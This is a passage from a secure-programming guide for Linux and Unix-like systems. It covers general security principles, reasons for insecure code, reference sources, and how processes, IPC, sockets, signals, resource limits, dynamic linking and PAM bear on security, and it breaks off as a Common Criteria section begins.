2.1. History of Unix, Linux, and Open Source / Free Software

2.2. Security Principles

There are many general security principles which you should be familiar with; one good place for general information on information security is the Information Assurance Technical Framework (IATF) [NSA 2000]. NIST has identified high-level “generally accepted principles and practices” [Swanson 1996]. You could also look at a general textbook on computer security, such as [Pfleeger 1997]. NIST Special Publication 800-27 describes a number of good engineering principles (although, since they’re abstract, they’re insufficient for actually building secure programs - hence this book); you can get a copy at http://csrc.nist.gov/publications/nistpubs/800-27/sp800-27.pdf. A few security principles are summarized here.

Often computer security objectives (or goals) are described in terms of three overall objectives:

• Confidentiality (also known as secrecy), meaning that the computing system’s assets can be read only by authorized parties.

• Integrity, meaning that the assets can only be modified or deleted by authorized parties in authorized ways.

• Availability, meaning that the assets are accessible to the authorized parties in a timely manner (as determined by the systems requirements). The failure to meet this goal is called a denial of service.

In any case, it is important to identify your program’s overall security objectives, no matter how you group them together, so that you’ll know when you’ve met them.

Sometimes these objectives are a response to a known set of threats, and sometimes some of these objectives are required by law. For example, for U.S. banks and other financial institutions, there’s a new privacy law called the “Gramm-Leach-Bliley” (GLB) Act. This law mandates disclosure of personal information shared and means of securing that data, requires disclosure of personal information that will be shared with third parties, and directs institutions to give customers a chance to opt out of data sharing. [Jones 2000]

There is sometimes conflict between security and some other general system/software engineering principles. Security can sometimes interfere with “ease of use”, for example, installing a secure configuration may take more effort than a “trivial” installation that works but is insecure. Often, this apparent conflict can be resolved, for example, by re-thinking a problem it’s often possible to make a secure system also easy to use. There’s also sometimes a conflict between security and abstraction (information hiding); for example, some high-level library routines may be implemented securely or not, but their specifications won’t tell you. In the end, if your application must be secure, you must do things yourself if you can’t be sure otherwise - yes, the library should be fixed, but it’s your users who will be hurt by your poor choice of library routines.

A good general security principle is “defense in depth”; you should have numerous defense mechanisms (“layers”) in place, designed so that an attacker has to defeat multiple mechanisms to perform a successful attack.

For general principles on how to design secure programs, see Section 7.1.

2.3. Why do Programmers Write Insecure Code?

Many programmers don’t intend to write insecure code - but do anyway. Here are a number of purported reasons for this. Most of these were collected and summarized by Aleph One on Bugtraq (in a posting on December 17, 1998):

• There is no curriculum that addresses computer security in most schools. Even when there is a computer security curriculum, they often don’t discuss how to write secure programs as a whole. Many such curriculum only study certain areas such as cryptography or protocols. These are important, but they often fail to discuss common real-world issues such as buffer overflows, string formatting, and input checking. I believe this is one of the most important problems; even those programmers who go through colleges and universities are very unlikely to learn how to write secure programs, yet we depend on those very people to write secure programs.

• Programming books/classes do not teach secure/safe programming techniques. Indeed, until recently there were no books on how to write secure programs at all (this book is one of those few).

• No one uses formal verification methods.

• C is an unsafe language, and the standard C library string functions are unsafe. This is particularly important because C is so widely used - the “simple” ways of using C permit dangerous exploits.

• Programmers do not think “multi-user.”

• Programmers are human, and humans are lazy. Thus, programmers will often use the “easy” approach instead of a secure approach - and once it works, they often fail to fix it later.

• Most programmers are simply not good programmers.

• Most programmers are not security people; they simply don’t often think like an attacker does.

• Most security people are not programmers. This was a statement made by some Bugtraq contributors, but it’s not clear that this claim is really true.

• Most computer security models are terrible.

• There is lots of “broken” legacy software. Fixing this software (to remove security faults or to make it work with more restrictive security policies) is difficult.

• Consumers don’t care about security. (Personally, I have hope that consumers are beginning to care about security; a computer system that is constantly exploited is neither useful nor user-friendly. Also, many consumers are unaware that there’s even a problem, assume that it can’t happen to them, or think that that things cannot be made better.)

• Security costs extra development time.

• Security costs in terms of additional testing (red teams, etc.).

2.4. Is Open Source Good for Security?

There’s been a lot of debate by security practitioners about the impact of open source approaches on security. One of the key issues is that open source exposes the source code to examination by everyone, both the attackers and defenders, and reasonable people disagree about the ultimate impact of this situation. (Note - you can get the latest version of this essay by going to the main website for this book, https://www.dwheeler.com/secure-programs.

2.5. Types of Secure Programs

Many different types of programs may need to be secure programs (as the term is defined in this book). Some common types are:

• Application programs used as viewers of remote data. Programs used as viewers (such as word processors or file format viewers) are often asked to view data sent remotely by an untrusted user (this request may be automatically invoked by a web browser). Clearly, the untrusted user’s input should not be allowed to cause the application to run arbitrary programs. It’s usually unwise to support initialization macros (run when the data is displayed); if you must, then you must create a secure sandbox (a complex and error-prone task that almost never succeeds, which is why you shouldn’t support macros in the first place). Be careful of issues such as buffer overflow, discussed in Chapter 6, which might allow an untrusted user to force the viewer to run an arbitrary program.

• Application programs used by the administrator (root). Such programs shouldn’t trust information that can be controlled by non-administrators.

• Local servers (also called daemons).

• Network-accessible servers (sometimes called network daemons).

• Web-based applications (including CGI scripts). These are a special case of network-accessible servers, but they’re so common they deserve their own category. Such programs are invoked indirectly via a web server, which filters out some attacks but nevertheless leaves many attacks that must be withstood.

• Applets (i.e., programs downloaded to the client for automatic execution). This is something Java is especially famous for, though other languages (such as Python) support mobile code as well. There are several security viewpoints here; the implementer of the applet infrastructure on the client side has to make sure that the only operations allowed are “safe” ones, and the writer of an applet has to deal with the problem of hostile hosts (in other words, you can’t normally trust the client). There is some research attempting to deal with running applets on hostile hosts, but frankly I’m skeptical of the value of these approaches and this subject is exotic enough that I don’t cover it further here.

• setuid/setgid programs. These programs are invoked by a local user and, when executed, are immediately granted the privileges of the program’s owner and/or owner’s group. In many ways these are the hardest programs to secure, because so many of their inputs are under the control of the untrusted user and some of those inputs are not obvious.

This book merges the issues of these different types of program into a single set. The disadvantage of this approach is that some of the issues identified here don’t apply to all types of programs. In particular, setuid/setgid programs have many surprising inputs and several of the guidelines here only apply to them. However, things are not so clear-cut, because a particular program may cut across these boundaries (e.g., a CGI script may be setuid or setgid, or be configured in a way that has the same effect), and some programs are divided into several executables each of which can be considered a different “type” of program. The advantage of considering all of these program types together is that we can consider all issues without trying to apply an inappropriate category to a program. As will be seen, many of the principles apply to all programs that need to be secured.

There is a slight bias in this book toward programs written in C, with some notes on other languages such as C++, Perl, PHP, Python, Ada95, and Java. This is because C is the most common language for implementing secure programs on Unix-like systems (other than CGI scripts, which tend to use languages such as Perl, PHP, or Python). Also, most other languages’ implementations call the C library. This is not to imply that C is somehow the “best” language for this purpose, and most of the principles described here apply regardless of the programming language used.

2.6. Paranoia is a Virtue

The primary difficulty in writing secure programs is that writing them requires a different mind-set, in short, a paranoid mind-set. The reason is that the impact of errors (also called defects or bugs) can be profoundly different.

Normal non-secure programs have many errors. While these errors are undesirable, these errors usually involve rare or unlikely situations, and if a user should stumble upon one they will try to avoid using the tool that way in the future.

In secure programs, the situation is reversed. Certain users will intentionally search out and cause rare or unlikely situations, in the hope that such attacks will give them unwarranted privileges. As a result, when writing secure programs, paranoia is a virtue.

2.7. Why Did I Write This Document?

One question I’ve been asked is “why did you write this book”? Here’s my answer: Over the last several years I’ve noticed that many application developers seem to keep falling into the same security pitfalls, again and again. Auditors were slowly catching problems, but it would have been better if the problems weren’t put into the code in the first place. I believe that part of the problem was that there wasn’t a single, obvious place where developers could go and get information on how to avoid known pitfalls. The information was publicly available, but it was often hard to find, out-of-date, incomplete, or had other problems. Most such information didn’t particularly discuss Linux at all, even though it was becoming widely used! That leads up to the answer: I developed this book in the hope that future software developers won’t repeat past mistakes, resulting in more secure systems. You can see a larger discussion of this at http://www.linuxsecurity.com/feature_stories/feature_story-6.html.

A related question that could be asked is “why did you write your own book instead of just referring to other documents”? There are several answers:

• Much of this information was scattered about; placing the critical information in one organized document makes it easier to use.

• Some of this information is not written for the programmer, but is written for an administrator or user.

• Much of the available information emphasizes portable constructs (constructs that work on all Unix-like systems), and failed to discuss Linux at all. It’s often best to avoid Linux-unique abilities for portability’s sake, but sometimes the Linux-unique abilities can really aid security. Even if non-Linux portability is desired, you may want to support the Linux-unique abilities when running on Linux. And, by emphasizing Linux, I can include references to information that is helpful to someone targeting Linux that is not necessarily true for others.

2.8. Sources of Design and Implementation Guidelines

Several documents help describe how to write secure programs (or, alternatively, how to find security problems in existing programs), and were the basis for the guidelines highlighted in the rest of this book.

For general-purpose servers and setuid/setgid programs, there are a number of valuable documents (though some are difficult to find without having a reference to them).

Matt Bishop [1996, 1997] has developed several extremely valuable papers and presentations on the topic, and in fact he has a web page dedicated to the topic at http://olympus.cs.ucdavis.edu/~bishop/secprog.html. AUSCERT has released a programming checklist [AUSCERT 1996], based in part on chapter 23 of Garfinkel and Spafford’s book discussing how to write secure SUID and network programs [Garfinkel 1996]. Galvin [1998a] described a simple process and checklist for developing secure programs; he later updated the checklist in Galvin [1998b]. Sitaker [1999] presents a list of issues for the “Linux security audit” team to search for. Shostack [1999] defines another checklist for reviewing security-sensitive code. The NCSA [NCSA] provides a set of terse but useful secure programming guidelines. Other useful information sources include the Secure Unix Programming FAQ [Al-Herbish 1999], the Security-Audit’s Frequently Asked Questions [Graham 1999], and Ranum [1998]. Some recommendations must be taken with caution, for example, the BSD setuid(7) man page [Unknown] recommends the use of access(3) without noting the dangerous race conditions that usually accompany it. Wood [1985] has some useful but dated advice in its “Security for Programmers” chapter. Bellovin [1994] includes useful guidelines and some specific examples, such as how to restructure an ftpd implementation to be simpler and more secure. FreeBSD provides some guidelines FreeBSD [1999] [Quintero 1999] is primarily concerned with GNOME programming guidelines, but it includes a section on security considerations. [Venema 1996] provides a detailed discussion (with examples) of some common errors when programming secure programs (widely-known or predictable passwords, burning yourself with malicious data, secrets in user-accessible data, and depending on other programs). [Sibert 1996] describes threats arising from malicious data. Michael Bacarella’s article The Peon’s Guide To Secure System Development provides a nice short set of guidelines.

There are many documents giving security guidelines for programs using the Common Gateway Interface (CGI) to interface with the web. These include Van Biesbrouck [1996], Gundavaram [unknown], [Garfinkle 1997] Kim [1996], Phillips [1995], Stein [1999], [Peteanu 2000], and [Advosys 2000].

There are many documents specific to a language, which are further discussed in the language-specific sections of this book. For example, the Perl distribution includes perlsec(1), which describes how to use Perl more securely. The Secure Internet Programming site at http://www.cs.princeton.edu/sip is interested in computer security issues in general, but focuses on mobile code systems such as Java, ActiveX, and JavaScript; Ed Felten (one of its principles) co-wrote a book on securing Java ([McGraw 1999]) which is discussed in Section 10.6. Sun’s security code guidelines provide some guidelines primarily for Java and C; it is available at http://java.sun.com/security/seccodeguide.html.

Yoder [1998] contains a collection of patterns to be used when dealing with application security. It’s not really a specific set of guidelines, but a set of commonly-used patterns for programming that you may find useful. The Schmoo group maintains a web page linking to information on how to write secure code at http://www.shmoo.com/securecode.

There are many documents describing the issue from the other direction (i.e., “how to crack a system”). One example is McClure [1999], and there’s countless amounts of material from that vantage point on the Internet. There are also more general documents on computer architectures on how attacks must be developed to exploit them, e.g., [LSD 2001]. The Honeynet Project has been collecting information (including statistics) on how attackers actually perform their attacks; see their website at http://project.honeynet.org for more information. Insecure Programming by example provides a set of insecure programs, intended for use as exercises to practice attacking insecure programs.

There’s also a large body of information on vulnerabilities already identified in existing programs. This can be a useful set of examples of “what not to do,” though it takes effort to extract more general guidelines from the large body of specific examples. There are mailing lists that discuss security issues; one of the most well-known is Bugtraq, which among other things develops a list of vulnerabilities. The CERT Coordination Center (CERT/CC) is a major reporting center for Internet security problems which reports on vulnerabilities. The CERT/CC occasionally produces advisories that provide a description of a serious security problem and its impact, along with instructions on how to obtain a patch or details of a workaround; for more information see http://www.cert.org. Note that originally the CERT was a small computer emergency response team, but officially “CERT” doesn’t stand for anything now. The Department of Energy’s Computer Incident Advisory Capability (CIAC) also reports on vulnerabilities. These different groups may identify the same vulnerabilities but use different names. To resolve this problem, MITRE supports the Common Vulnerabilities and Exposures (CVE) list which creates a single unique identifier (“name”) for all publicly known vulnerabilities and security exposures identified by others; see http://www.cve.mitre.org. NIST’s ICAT is a searchable catalog of computer vulnerabilities, categorizing each CVE vulnerability so that they can be searched and compared later; see http://csrc.nist.gov/icat.

This book is a summary of what I believe are the most useful and important guidelines. My goal is a book that a good programmer can just read and then be fairly well prepared to implement a secure program. No single document can really meet this goal, but I believe the attempt is worthwhile. My objective is to strike a balance somewhere between a “complete list of all possible guidelines” (that would be unending and unreadable) and the various “short” lists available on-line that are nice and short but omit a large number of critical issues. When in doubt, I include the guidance; I believe in that case it’s better to make the information available to everyone in this “one stop shop” document. The organization presented here is my own (every list has its own, different structure), and some of the guidelines (especially the Linux-unique ones, such as those on capabilities and the FSUID value) are also my own. Reading all of the referenced documents listed above as well is highly recommended, though I realize that for many it’s impractical.

2.9. Other Sources of Security Information

There are a vast number of web sites and mailing lists dedicated to security issues. Here are some other sources of security information:

• Securityfocus.com has a wealth of general security-related news and information, and hosts a number of security-related mailing lists. See their website for information on how to subscribe and view their archives. A few of the most relevant mailing lists on SecurityFocus are:

  • The “Bugtraq” mailing list is, as noted above, a “full disclosure moderated mailing list for the detailed discussion and announcement of computer security vulnerabilities: what they are, how to exploit them, and how to fix them.”

  • The “secprog” mailing list is a moderated mailing list for the discussion of secure software development methodologies and techniques. I specifically monitor this list, and I coordinate with its moderator to ensure that resolutions reached in SECPROG (if I agree with them) are incorporated into this document.

  • The “vuln-dev” mailing list discusses potential or undeveloped holes.

• IBM’s “developerWorks: Security” has a library of interesting articles. You can learn more from http://www.ibm.com/developer/security.

• For Linux-specific security information, a good source is LinuxSecurity.com. If you’re interested in auditing Linux code, places to see include the Linux Security-Audit Project FAQ and Linux Kernel Auditing Project are dedicated to auditing Linux code for security issues.

2.10. Document Conventions

System manual pages are referenced in the format name(number), where number is the section number of the manual. The pointer value that means “does not point anywhere” is called NULL; C compilers will convert the integer 0 to the value NULL in most circumstances where a pointer is needed, but note that nothing in the C standard requires that NULL actually be implemented by a series of all-zero bits. C and C++ treat the character “\0” (ASCII 0) specially, and this value is referred to as NIL in this book (this is usually called “NUL”, but “NUL” and “NULL” sound identical). Function and method names always use the correct case, even if that means that some sentences must begin with a lower case letter. I use the term “Unix-like” to mean Unix, Linux, or other systems whose underlying models are very similar to Unix; I can’t say POSIX, because there are systems such as Windows 2000 that implement portions of POSIX yet have vastly different security models.

An attacker is called an “attacker”, “cracker”, or “adversary”, and not a “hacker”. Some journalists mistakenly use the word “hacker” instead of “attacker”; this book avoids this misuse, because many Linux and Unix developers refer to themselves as “hackers” in the traditional non-evil sense of the term. To many Linux and Unix developers, the term “hacker” continues to mean simply an expert or enthusiast, particularly regarding computers. It is true that some hackers commit malicious or intrusive actions, but many other hackers do not, and it’s unfair to claim that all hackers perform malicious activities. Many other glossaries and books note that not all hackers are attackers. For example, the Industry Advisory Council’s Information Assurance (IA) Special Interest Group (SIG)’s Information Assurance Glossary defines hacker as “A person who delights in having an intimate understanding of the internal workings of computers and computer networks. The term is misused in a negative context where ‘cracker’ should be used.” The Jargon File has a long and complicate definition for hacker, starting with “A person who enjoys exploring the details of programmable systems and how to stretch their capabilities, as opposed to most users, who prefer to learn only the minimum necessary.”; it notes although some people use the term to mean “A malicious meddler who tries to discover sensitive information by poking around”, it also states that this definition is deprecated and that the correct term for this sense is “cracker” instead.

This book uses the logical quotation system, not the misleading typesetters’ quotation system. This means that quoted information does not include any trailing punctuation if the punctuation is not part of the material being quoted. The typesetters’ quotation system causes extraneous characters to be placed inside the quotes; this has no affect in poetry but is a serious problem when accuracy is important. The typesetters’ quotation system often falsifies quotes (since it includes punctuation not in the quote) and can be disastrously erroneous in code or computer commands. The logical quotation system is widely used in a variety of publications, including The Jargon File, Wikipedia, and the Linguistic Society of America. This book uses standard American (not British) spelling.

3.1. Processes

In Unix-like systems, user-level activities are implemented by running processes. Most Unix systems support a “thread” as a separate concept; threads share memory inside a process, and the system scheduler actually schedules threads. Linux does this differently (and in my opinion uses a better approach): there is no essential difference between a thread and a process. Instead, in Linux, when a process creates another process it can choose what resources are shared (e.g., memory can be shared). The Linux kernel then performs optimizations to get thread-level speeds; see clone(2) for more information. It’s worth noting that the Linux kernel developers tend to use the word “task”, not “thread” or “process”, but the external documentation tends to use the word process (so I’ll use the term “process” here). When programming a multi-threaded application, it’s usually better to use one of the standard thread libraries that hide these differences. Not only does this make threading more portable, but some libraries provide an additional level of indirection, by implementing more than one application-level thread as a single operating system thread; this can provide some improved performance on some systems for some applications.

3.2. Files

On all Unix-like systems, the primary repository of information is the file tree, rooted at “/”. The file tree is a hierarchical set of directories, each of which may contain filesystem objects (FSOs).

In Linux, filesystem objects (FSOs) may be ordinary files, directories, symbolic links, named pipes (also called first-in first-outs or FIFOs), sockets (see below), character special (device) files, or block special (device) files (in Linux, this list is given in the find(1) command). Other Unix-like systems have an identical or similar list of FSO types.

Filesystem objects are collected on filesystems, which can be mounted and unmounted on directories in the file tree. A filesystem type (e.g., ext2 and FAT) is a specific set of conventions for arranging data on the disk to optimize speed, reliability, and so on; many people use the term “filesystem” as a synonym for the filesystem type.

3.3. System V IPC

Many Unix-like systems, including Linux and System V systems, support System V interprocess communication (IPC) objects. Indeed System V IPC is required by the Open Group’s Single UNIX Specification, Version 2 [Open Group 1997]. System V IPC objects can be one of three kinds: System V message queues, semaphore sets, and shared memory segments. Each such object has the following attributes:

• read and write permissions for each of creator, creator group, and others.

• creator UID and GID - UID and GID of the creator of the object.

• owning UID and GID - UID and GID of the owner of the object (initially equal to the creator UID).

When accessing such objects, the rules are as follows:

• if the process has root privileges, the access is granted.

• if the process’ EUID is the owner or creator UID of the object, then the appropriate creator permission bit is checked to see if access is granted.

• if the process’ EGID is the owner or creator GID of the object, or one of the process’ groups is the owning or creating GID of the object, then the appropriate creator group permission bit is checked for access.

• otherwise, the appropriate “other” permission bit is checked for access.

Note that root, or a process with the EUID of either the owner or creator, can set the owning UID and owning GID and/or remove the object. More information is available in ipc(5).

3.4. Sockets and Network Connections

Sockets are used for communication, particularly over a network. Sockets were originally developed by the BSD branch of Unix systems, but they are generally portable to other Unix-like systems: Linux and System V variants support sockets as well, and socket support is required by the Open Group’s Single Unix Specification [Open Group 1997]. System V systems traditionally used a different (incompatible) network communication interface, but it’s worth noting that systems like Solaris include support for sockets. Socket(2) creates an endpoint for communication and returns a descriptor, in a manner similar to open(2) for files. The parameters for socket specify the protocol family and type, such as the Internet domain (TCP/IP version 4), Novell’s IPX, or the “Unix domain”. A server then typically calls bind(2), listen(2), and accept(2) or select(2). A client typically calls bind(2) (though that may be omitted) and connect(2). See these routine’s respective man pages for more information. It can be difficult to understand how to use sockets from their man pages; you might want to consult other papers such as Hall "Beej" [1999] to learn how these calls are used together.

The “Unix domain sockets” don’t actually represent a network protocol; they can only connect to sockets on the same machine. (at the time of this writing for the standard Linux kernel). When used as a stream, they are fairly similar to named pipes, but with significant advantages. In particular, Unix domain socket is connection-oriented; each new connection to the socket results in a new communication channel, a very different situation than with named pipes. Because of this property, Unix domain sockets are often used instead of named pipes to implement IPC for many important services. Just like you can have unnamed pipes, you can have unnamed Unix domain sockets using socketpair(2); unnamed Unix domain sockets are useful for IPC in a way similar to unnamed pipes.

There are several interesting security implications of Unix domain sockets. First, although Unix domain sockets can appear in the filesystem and can have stat(2) applied to them, you can’t use open(2) to open them (you have to use the socket(2) and friends interface). Second, Unix domain sockets can be used to pass file descriptors between processes (not just the file’s contents). This odd capability, not available in any other IPC mechanism, has been used to hack all sorts of schemes (the descriptors can basically be used as a limited version of the “capability” in the computer science sense of the term). File descriptors are sent using sendmsg(2), where the msg (message)’s field msg_control points to an array of control message headers (field msg_controllen must specify the number of bytes contained in the array). Each control message is a struct cmsghdr followed by data, and for this purpose you want the cmsg_type set to SCM_RIGHTS. A file descriptor is retrieved through recvmsg(2) and then tracked down in the analogous way. Frankly, this feature is quite baroque, but it’s worth knowing about.

Linux 2.2 and later supports an additional feature in Unix domain sockets: you can acquire the peer’s “credentials” (the pid, uid, and gid). Here’s some sample code:

 /* fd= file descriptor of Unix domain socket connected
    to the client you wish to identify */

 struct ucred cr;
 int cl=sizeof(cr);

 if (getsockopt(fd, SOL_SOCKET, SO_PEERCRED, &cr, &cl)==0) {
   printf("Peer’s pid=%d, uid=%d, gid=%d\n",
           cr.pid, cr.uid, cr.gid);

Standard Unix convention is that binding to TCP and UDP local port numbers less than 1024 requires root privilege, while any process can bind to an unbound port number of 1024 or greater. Linux follows this convention, more specifically, Linux requires a process to have the capability CAP_NET_BIND_SERVICE to bind to a port number less than 1024; this capability is normally only held by processes with an EUID of 0. The adventurous can check this in Linux by examining its Linux’s source; in Linux 2.2.12, it’s file /usr/src/linux/net/ipv4/af_inet.c, function inet_bind().

3.5. Signals

Signals are a simple form of “interruption” in the Unix-like OS world, and are an ancient part of Unix. A process can set a “signal” on another process (say using kill(1) or kill(2)), and that other process would receive and handle the signal asynchronously. For a process to have permission to send an arbitrary signal to some other process, the sending process must either have root privileges, or the real or effective user ID of the sending process must equal the real or saved set-user-ID of the receiving process. However, some signals can be sent in other ways. In particular, SIGURG can be delivered over a network through the TCP/IP out-of-band (OOB) message.

Although signals are an ancient part of Unix, they've had different semantics in different implementations. Basically, they involve questions such as “what happens when a signal occurs while handling another signal”? The older Linux libc 5 used a different set of semantics for some signal operations than the newer GNU libc libraries. Calling C library functions is often unsafe within a signal handler, and even some system calls aren’t safe; you need to examine the documentation for each call you make to see if it promises to be safe to call inside a signal. For more information, see the glibc FAQ (on some systems a local copy is available at /usr/doc/glibc-*/FAQ).

For new programs, just use the POSIX signal system (which in turn was based on BSD work); this set is widely supported and doesn’t have some of the problems that some of the older signal systems did. The POSIX signal system is based on using the sigset_t datatype, which can be manipulated through a set of operations: sigemptyset(), sigfillset(), sigaddset(), sigdelset(), and sigismember(). You can read about these in sigsetops(3). Then use sigaction(2), sigprocmask(2), sigpending(2), and sigsuspend(2) to set up an manipulate signal handling (see their man pages for more information).

In general, make any signal handlers very short and simple, and look carefully for race conditions. Signals, since they are by nature asynchronous, can easily cause race conditions.

A common convention exists for servers: if you receive SIGHUP, you should close any log files, reopen and reread configuration files, and then re-open the log files. This supports reconfiguration without halting the server and log rotation without data loss. If you are writing a server where this convention makes sense, please support it.

Michal Zalewski [2001] has written an excellent tutorial on how signal handlers are exploited, and has recommendations for how to eliminate signal race problems. I encourage looking at his summary for more information; here are my recommendations, which are similar to Michal’s work:

• Where possible, have your signal handlers unconditionally set a specific flag and do nothing else.

• If you must have more complex signal handlers, use only calls specifically designated as being safe for use in signal handlers. In particular, don’t use malloc() or free() in C (which on most systems aren’t protected against signals), nor the many functions that depend on them (such as the printf() family and syslog()). You could try to “wrap” calls to insecure library calls with a check to a global flag (to avoid re-entry), but I wouldn’t recommend it.

• Block signal delivery during all non-atomic operations in the program, and block signal delivery inside signal handlers.

3.6. Quotas and Limits

Many Unix-like systems have mechanisms to support filesystem quotas and process resource limits. This certainly includes Linux. These mechanisms are particularly useful for preventing denial of service attacks; by limiting the resources available to each user, you can make it hard for a single user to use up all the system resources. Be careful with terminology here, because both filesystem quotas and process resource limits have “hard” and “soft” limits but the terms mean slightly different things.

You can define storage (filesystem) quota limits on each mountpoint for the number of blocks of storage and/or the number of unique files (inodes) that can be used, and you can set such limits for a given user or a given group. A “hard” quota limit is a never-to-exceed limit, while a “soft” quota can be temporarily exceeded. See quota(1), quotactl(2), and quotaon(8).

The rlimit mechanism supports a large number of process quotas, such as file size, number of child processes, number of open files, and so on. There is a “soft” limit (also called the current limit) and a “hard limit” (also called the upper limit). The soft limit cannot be exceeded at any time, but through calls it can be raised up to the value of the hard limit. See getrlimit(2), setrlimit(2), and getrusage(2), sysconf(3), and ulimit(1). Note that there are several ways to set these limits, including the PAM module pam_limits.

3.7. Dynamically Linked Libraries

Practically all programs depend on libraries to execute. In most modern Unix-like systems, including Linux, programs are by default compiled to use dynamically linked libraries (DLLs). That way, you can update a library and all the programs using that library will use the new (hopefully improved) version if they can.

Dynamically linked libraries are typically placed in one a few special directories. The usual directories include /lib, /usr/lib, /lib/security for PAM modules, /usr/X11R6/lib for X-windows, and /usr/local/lib. You should use these standard conventions in your programs, in particular, except during debugging you shouldn’t use value computed from the current directory as a source for dynamically linked libraries (an attacker may be able to add their own choice “library” values).

There are special conventions for naming libraries and having symbolic links for them, with the result that you can update libraries and still support programs that want to use old, non-backward-compatible versions of those libraries. There are also ways to override specific libraries or even just specific functions in a library when executing a particular program. This is a real advantage of Unix-like systems over Windows-like systems; I believe Unix-like systems have a much better system for handling library updates, one reason that Unix and Linux systems are reputed to be more stable than Windows-based systems.

On GNU glibc-based systems, including all Linux systems, the list of directories automatically searched during program start-up is stored in the file /etc/ld.so.conf. Many Red Hat-derived distributions don’t normally include /usr/local/lib in the file /etc/ld.so.conf. I consider this a bug, and adding /usr/local/lib to /etc/ld.so.conf is a common “fix” required to run many programs on Red Hat-derived systems. If you want to just override a few functions in a library, but keep the rest of the library, you can enter the names of overriding libraries (.o files) in /etc/ld.so.preload; these “preloading” libraries will take precedence over the standard set. This preloading file is typically used for emergency patches; a distribution usually won’t include such a file when delivered. Searching all of these directories at program start-up would be too time-consuming, so a caching arrangement is actually used. The program ldconfig(8) by default reads in the file /etc/ld.so.conf, sets up the appropriate symbolic links in the dynamic link directories (so they’ll follow the standard conventions), and then writes a cache to /etc/ld.so.cache that’s then used by other programs. So, ldconfig has to be run whenever a DLL is added, when a DLL is removed, or when the set of DLL directories changes; running ldconfig is often one of the steps performed by package managers when installing a library. On start-up, then, a program uses the dynamic loader to read the file /etc/ld.so.cache and then load the libraries it needs.

Various environment variables can control this process, and in fact there are environment variables that permit you to override this process (so, for example, you can temporarily substitute a different library for this particular execution). In Linux, the environment variable LD_LIBRARY_PATH is a colon-separated set of directories where libraries are searched for first, before the standard set of directories; this is useful when debugging a new library or using a nonstandard library for special purposes, but be sure you trust those who can control those directories. The variable LD_PRELOAD lists object files with functions that override the standard set, just as /etc/ld.so.preload does. The variable LD_DEBUG, displays debugging information; if set to “all”, voluminous information about the dynamic linking process is displayed while it’s occurring.

Permitting user control over dynamically linked libraries would be disastrous for setuid/setgid programs if special measures weren’t taken. Therefore, in the GNU glibc implementation, if the program is setuid or setgid these variables (and other similar variables) are ignored or greatly limited in what they can do. The GNU glibc library determines if a program is setuid or setgid by checking the program’s credentials; if the UID and EUID differ, or the GID and the EGID differ, the library presumes the program is setuid/setgid (or descended from one) and therefore greatly limits its abilities to control linking. If you load the GNU glibc libraries, you can see this; see especially the files elf/rtld.c and sysdeps/generic/dl-sysdep.c. This means that if you cause the UID and GID to equal the EUID and EGID, and then call a program, these variables will have full effect. Other Unix-like systems handle the situation differently but for the same reason: a setuid/setgid program should not be unduly affected by the environment variables set. Note that graphical user interface toolkits generally do permit user control over dynamically linked libraries, because executables that directly invoke graphical user inteface toolkits should never, ever, be setuid (or have other special privileges) at all. For more about how to develop secure GUI applications, see Section 7.4.4.

For Linux systems, you can get more information from my document, the Program Library HOWTO.

3.8. Audit

Different Unix-like systems handle auditing differently. In Linux, the most common “audit” mechanism is syslogd(8), usually working in conjunction with klogd(8). You might also want to look at wtmp(5), utmp(5), lastlog(8), and acct(2). Some server programs (such as the Apache web server) also have their own audit trail mechanisms. According to the FHS, audit logs should be stored in /var/log or its subdirectories.

3.9. PAM

Sun Solaris and nearly all Linux systems use the Pluggable Authentication Modules (PAM) system for authentication. PAM permits run-time configuration of authentication methods (e.g., use of passwords, smart cards, etc.). See Section 11.6 for more information on using PAM.

3.10. Specialized Security Extensions for Unix-like Systems

A vast amount of research and development has gone into extending Unix-like systems to support security needs of various communities. For example, several Unix-like systems have been extended to support the U.S. military’s desire for multilevel security. If you’re developing software, you should try to design your software so that it can work within these extensions.

FreeBSD has a new system call, jail(2). The jail system call supports sub-partitioning an environment into many virtual machines (in a sense, a “super-chroot”); its most popular use has been to provide virtual machine services for Internet Service Provider environments. Inside a jail, all processes (even those owned by root) have the the scope of their requests limited to the jail. When a FreeBSD system is booted up after a fresh install, no processes will be in jail. When a process is placed in a jail, it, and any descendants of that process created will be in that jail. Once in a jail, access to the file name-space is restricted in the style of chroot(2) (with typical chroot escape routes blocked), the ability to bind network resources is limited to a specific IP address, the ability to manipulate system resources and perform privileged operations is sharply curtailed, and the ability to interact with other processes is limited to only processes inside the same jail. Note that each jail is bound to a single IP address; processes within the jail may not make use of any other IP address for outgoing or incoming connections. More information is available in the OnLamp.com article on FreeBSD Jails.

Some extensions available in Linux, such as POSIX capabilities and special mount-time options, have already been discussed. Here are a few of these efforts for Linux systems for creating restricted execution environments; there are many different approaches. Linux 2.6 adds the "Linux Security Module" (LSM) interface, which allows administrators to plug in modules to perform more sophisticated access control systems. The U.S. National Security Agency (NSA) has developed Security-Enhanced Linux (Flask) (SELinux), which supports defining a security policy in a specialized language and then enforces that policy. Originally SELinux was developed as a separate set of patches, but it now works using LSM and NSA has submitted the SELinux kernel module to the Linux developers for inclusion in the normal kernel. The Medusa DS9 extends Linux by supporting, at the kernel level, a user-space authorization server. LIDS protects files and processes, allowing administrators to “lock down” their system. The “Rule Set Based Access Control” system, RSBAC is based on the Generalized Framework for Access Control (GFAC) by Abrams and LaPadula and provides a flexible system of access control based on several kernel modules. Subterfugue is a framework for “observing and playing with the reality of software”; it can intercept system calls and change their parameters and/or change their return values to implement sandboxes, tracers, and so on; it runs under Linux 2.4 with no changes (it doesn’t require any kernel modifications). Janus is a security tool for sandboxing untrusted applications within a restricted execution environment. Some have even used User-mode Linux, which implements “Linux on Linux”, as a sandbox implementation. Because there are so many different approaches to implementing more sophisticated security models, Linus Torvalds has requested that a generic approach be developed so different security policies can be inserted; for more information about this, see http://mail.wirex.com/mailman/listinfo/linux-security-module.

There are many other extensions for security on various Unix-like systems, but these are really outside the scope of this document.

4.1. Common Criteria Introduction

First, some general information about the CC will help understand how to apply its concepts. The CC’s official name is The Common Criteria for Information Technology Security Evaluation, though it’s normally just called the Common Criteria. The CC document has three parts: the introduction (that describes the CC overall), security functional requirements (that lists various kinds of security functions that products might want to include), and security assurance requirements (that lists various methods of assuring that a product is secure). There is also a related document, the Common Evaluation Methodology (CEM), that guides evaluators how to apply the CC when doing formal evaluations (in particular, it amplifies what the CC means in certain cases).

